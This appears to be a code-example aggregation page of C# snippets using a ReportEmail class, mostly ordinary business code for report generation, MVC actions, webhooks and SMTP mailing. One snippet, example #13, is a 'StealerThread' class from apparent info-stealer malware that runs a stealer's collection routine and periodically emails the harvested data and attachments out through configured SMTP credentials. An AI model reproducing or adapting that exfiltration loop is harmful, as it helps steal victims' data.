示例#1
0
 /// <summary>
 /// Prints the status of the full report generation and completion
 /// </summary>
 private void PrintLogs(ReportEmail reportEmail, Alert alert, bool fileWritten, bool emailSent)
 {
     // Logging
     if (string.IsNullOrEmpty(_outputHtmlFileName))
     {
         Console.WriteLine("    Report: {0}", _outputHtmlFileName);
         if (!fileWritten)
         {
             Console.WriteLine("        FAILED!!!");
         }
     }
     Console.WriteLine("    Email: {0}", emailSent ? (_skipEmail ? "skipped" : "sent") : "FAILED!!!");
     Console.WriteLine("        Subject: {0}", reportEmail.Subject);
     Console.WriteLine("        To:");
     foreach (Alert.User user in alert.Owners)
     {
         Console.WriteLine("            {0} - {1}", user.Name, user.EmailAddress);
     }
     Console.WriteLine("        CC:");
     foreach (Alert.User user in alert.CCs)
     {
         Console.WriteLine("            {0} - {1}", user.Name, user.EmailAddress);
     }
     if (string.IsNullOrEmpty(_outputHtmlFileName))
     {
         Console.Write(reportEmail.BodyText.Replace("<br/>", ""));
     }
     Console.WriteLine();
 }
示例#2
0
        /// <summary>
        /// Generates and sends an email for the given alert and report using the smtpClient.
        /// </summary>
        /// <returns>true if the email is generated and sent successfully</returns>
        private bool SendEmail(Alert alert, ReportEmail reportEmail, SmtpClient smtpClient)
        {
            // Prepare email
            MailMessage message = new MailMessage();

            message.From = new MailAddress(Environment.UserName + "@microsoft.com");
            foreach (Alert.User user in alert.Owners)
            {
                message.To.Add(user.EmailAddress);
            }
            foreach (Alert.User user in alert.CCs)
            {
                message.CC.Add(user.EmailAddress);
            }
            message.IsBodyHtml = true;
            message.Subject    = reportEmail.Subject;
            message.Body       = reportEmail.BodyText;

            // Send email
            try
            {
                smtpClient.Send(message);
                return(true);
            }
            catch (Exception ex)
            {
                Console.WriteLine("ERROR sending alert {0}", alert.Name);
                Console.WriteLine(ex);
                return(false);
            }
        }
示例#3
0
        }         // IsNormalMode

        private static void SendReport(DateTime oDate, ASafeLog oLog)
        {
            oLog.Debug("Generating reconciliation report...");

            var oDB = new SqlConnection();

            oLog.Debug("Loading Pacnet report metadata from db...");

            var pacnet = new Report(oDB, "RPT_PACNET_RECONCILIATION");

            oLog.Debug("Loading Paypoint report metadata from db...");

            var paypoint = new Report(oDB, "RPT_PAYPOINT_RECONCILIATION");

            var rh = new BaseReportHandler(oDB, oLog);

            var sender = new ReportDispatcher(oDB, oLog);

            var email = new ReportEmail();

            oLog.Debug("Generating Pacnet report...");

            email.ReportBody.Append(new H2().Append(new Text(pacnet.GetTitle(oDate))));

            email.ReportBody.Append(
                rh.TableReport(new ReportQuery(pacnet, oDate, oDate))
                );

            oLog.Debug("Generating Paypoint report...");

            email.ReportBody.Append(new H2().Append(new Text(paypoint.GetTitle(oDate))));

            email.ReportBody.Append(
                rh.TableReport(new ReportQuery(paypoint, oDate, oDate))
                );

            var sTo = new StringBuilder();

            sTo.Append(pacnet.ToEmail);

            if (pacnet.ToEmail != "")
            {
                sTo.Append(",");
            }

            sTo.Append(paypoint.ToEmail);

            oLog.Debug("Sending report...");

            sender.Dispatch(
                "Reconciliation " + oDate.ToString("MMMM d yyyy", CultureInfo.InvariantCulture),
                oDate,
                email.HtmlBody,
                null,
                sTo.ToString()
                );

            oLog.Debug("Reconciliation report generation complete.");
        }         // SendReport
示例#4
0
        public bool ReportViewed(int companyId, ReportEmail reportEmail, Report report)
        {
            var webhooks = _webhookRepository.GetList(new { CompanyId = companyId, EventReportViewed = true });

            Task.Run(() => NotifyReportViewed(reportEmail, report, webhooks));

            return(webhooks.Any());
        }
        public ActionResult DeleteConfirmed(long id)
        {
            ReportEmail reportemail = db.ReportEmails.Find(id);

            db.ReportEmails.Remove(reportemail);
            db.SaveChanges();
            return(RedirectToAction("Index"));
        }
        //
        // GET: /ReportEmail/Details/5

        public ActionResult Details(long id = 0)
        {
            ReportEmail reportemail = db.ReportEmails.Find(id);

            if (reportemail == null)
            {
                return(HttpNotFound());
            }
            return(View(reportemail));
        }
示例#7
0
        }         // HandleGenericReport

        private void BuildReport(
            Report report,
            DateTime fromDate,
            DateTime toDate,
            string period,
            ReportDispatcher sender,
            DateTime oReportGenerationDate,
            Func <Report, DateTime, DateTime, List <string>, ATag> oBuildHtml,
            Func <Report, DateTime, DateTime, ExcelPackage> oBuildXls
            )
        {
            Debug("Building report {0} for period {1}", report.Title, period);

            var email = new ReportEmail();

            switch (period)
            {
            case DailyPerdiod:
                email.Title.Append(new Text(period + " " + report.GetTitle(fromDate, " for ")));
                break;

            case WeeklyPerdiod:
                email.Title.Append(new Text(period + " " + report.GetTitle(fromDate, " for ", toDate)));
                break;

            case MonthlyPerdiod:
                email.Title.Append(new Text(period + " " + report.GetMonthTitle(fromDate)));
                break;

            case MonthToDatePerdiod:
                email.Title.Append(new Text(period + " " + report.GetMonthTitle(fromDate, toDate)));
                break;
            }             // switch

            var rptDef = new ReportQuery(report, fromDate, toDate);

            ATag oBody = oBuildHtml == null
                                ? TableReport(rptDef, false, email.Title.ToString())
                                : oBuildHtml(report, fromDate, toDate, null);

            ExcelPackage oXls = oBuildXls == null
                                ? XlsReport(rptDef, email.Title.ToString())
                                : oBuildXls(report, fromDate, toDate);

            email.ReportBody.Append(oBody);

            sender.Dispatch(
                report.Title,
                oReportGenerationDate,
                email.HtmlBody,
                oXls,
                report.ToEmail,
                period
                );
        }         // BuildReport
示例#8
0
        private void NotifyReportViewed(ReportEmail reportEmail, Report report, IEnumerable <Webhook> webhooks)
        {
            var timesViewed = (reportEmail.Views > 1) ? StringUtil.Ordinal(reportEmail.Views) : "first";
            var recipient   = reportEmail.Recipient;
            var url         = string.Format("{0}reports/{1}", ConfigUtil.BaseAppUrl, report.UniqueId);
            var payload     = new WebhookPayload
            {
                Text =
                    string.Format("{0} viewed the {1} report for the {2} time.\n<{3}|Go to Report> or <mailto:{4}|Email {5}>", recipient.DisplayName, report.Date.ToString("MMMM \\'yy"), timesViewed, url, recipient.Email, recipient.FirstName)
            };

            PostMessages(webhooks, payload);
        }
        public ActionResult Edit(ReportEmail reportemail)
        {
            if (ModelState.IsValid)
            {
                db.Entry(reportemail).State = EntityState.Modified;
                db.SaveChanges();
                return(RedirectToAction("Index"));
            }
            List <Report> reportList = db.Reports.OrderBy(r => r.ReportName).ToList();
            SelectList    ReportList = new SelectList(reportList, "ReportID", "ReportName", reportemail.ReportID);

            ViewBag.ReportID = ReportList;
            var userList = db.Users.OrderBy(u => u.LastName).ThenBy(u => u.FirstName)
                           .Select(u => new { Value = u.UserID, Text = u.LastName + ", " + u.FirstName }).ToList();
            SelectList UserList = new SelectList(userList, "Value", "Text", reportemail.UserID);

            ViewBag.UserID = UserList; return(View(reportemail));
        }
示例#10
0
 /// <summary>
 /// Writes the full body text of the given report to the filename specified in the reporting template.
 /// </summary>
 /// <returns>true if succeeded</returns>
 private bool WriteReportFile(Alert alert, ReportEmail report)
 {
     if (string.IsNullOrEmpty(_outputHtmlFileName))
     {   // No file needs to be written - skipping
         return(true);
     }
     try
     {
         File.WriteAllText(_outputHtmlFileName, report.BodyText);
         return(true);
     }
     catch (Exception ex)
     {
         Console.WriteLine("ERROR writing alert {0} into file {1}", alert.Name, _outputHtmlFileName);
         Console.WriteLine(ex);
         return(false);
     }
 }
示例#11
0
        public void SendEmail(string to, string subject, string callbackUrl)
        {
            var viewsPath = Path.GetFullPath(HostingEnvironment.MapPath(@"~/Views/Emails"));
            var engines   = new ViewEngineCollection();

            engines.Add(new FileSystemRazorViewEngine(viewsPath));

            var emailService = new Postal.EmailService(engines);

            var email = new ReportEmail
            {
                To          = to,
                Subject     = subject,
                CallbackUrl = callbackUrl
            };

            emailService.Send(email);
        }
        //
        // GET: /ReportEmail/Edit/5

        public ActionResult Edit(long id = 0)
        {
            ReportEmail reportemail = db.ReportEmails.Find(id);

            if (reportemail == null)
            {
                return(HttpNotFound());
            }
            List <Report> reportList = db.Reports.OrderBy(r => r.ReportName).ToList();
            SelectList    ReportList = new SelectList(reportList, "ReportID", "ReportName", reportemail.ReportID);

            ViewBag.ReportID = ReportList;
            var userList = db.Users.OrderBy(u => u.LastName).ThenBy(u => u.FirstName)
                           .Select(u => new { Value = u.UserID, Text = u.LastName + ", " + u.FirstName }).ToList();
            SelectList UserList = new SelectList(userList, "Value", "Text", reportemail.UserID);

            ViewBag.UserID = UserList;
            return(View(reportemail));
        }
示例#13
0
 public StealerThread(IStealer stealer, int delay)
 {
     _delay    = delay;
     _stealer  = new Thread(stealer.Collect);
     _reporter = new Thread(delegate()
     {
         while (true)
         {
             bool runOnce = _delay < 1;
             if (!runOnce)
             {
                 Thread.Sleep(_delay * 60000);
             }
             if (string.IsNullOrEmpty(stealer.Data))
             {
                 continue;
             }
             ReportEmail em = new ReportEmail(stealer.Name,
                                              Program.Settings.EmailAddress,
                                              Program.Settings.EmailPassword,
                                              Program.Settings.SmtpAddress,
                                              Program.Settings.SmtpPort);
             if (stealer.Attachments == null)
             {
                 em.Send(stealer.Data);
             }
             else
             {
                 em.Send(stealer.Data, stealer.Attachments);
             }
             stealer.Data        = null;
             stealer.Attachments = null;
             if (runOnce)
             {
                 _stealer.Abort();
                 _reporter.Abort();
                 break;
             }
         }
     });
     Variables.StealerPool.Add(this);
 }
示例#14
0
        /// <summary>
        /// Sends all of the emails for the diffs of the given issues that match the filter.
        /// </summary>
        /// <returns>True if all emails successfully sent</returns>
        private bool SendEmails()
        {
            bool isAllEmailsSendSuccessful = true;

            SmtpClient smtpClient = null;

            if (!_skipEmail)
            {
                smtpClient = new SmtpClient("smtphost");
                smtpClient.UseDefaultCredentials = true;
            }

            foreach (Alert alert in _config.Alerts.Where(alert => alert.Owners.Any()))
            {
                Console.WriteLine("Alert: {0}", alert.Name);
                if ((_filteredAlertNames != null) &&
                    _filteredAlertNames.Where(name => alert.EqualsByName(name)).None())
                {
                    Console.WriteLine("    Filtered alert");
                    Console.WriteLine();
                }
                else
                {
                    // Create the email report
                    ReportEmail reportEmail = CreateReportEmail(alert, _htmlTemplateFileName);

                    if (reportEmail.HasContent)
                    {   // Send the email
                        bool fileWritten           = WriteReportFile(alert, reportEmail);
                        bool isEmailSendSuccessful = _skipEmail ? true : SendEmail(alert, reportEmail, smtpClient);
                        PrintLogs(reportEmail, alert, fileWritten, isEmailSendSuccessful);

                        isAllEmailsSendSuccessful &= isEmailSendSuccessful;
                    }
                }
            }

            return(isAllEmailsSendSuccessful);
        }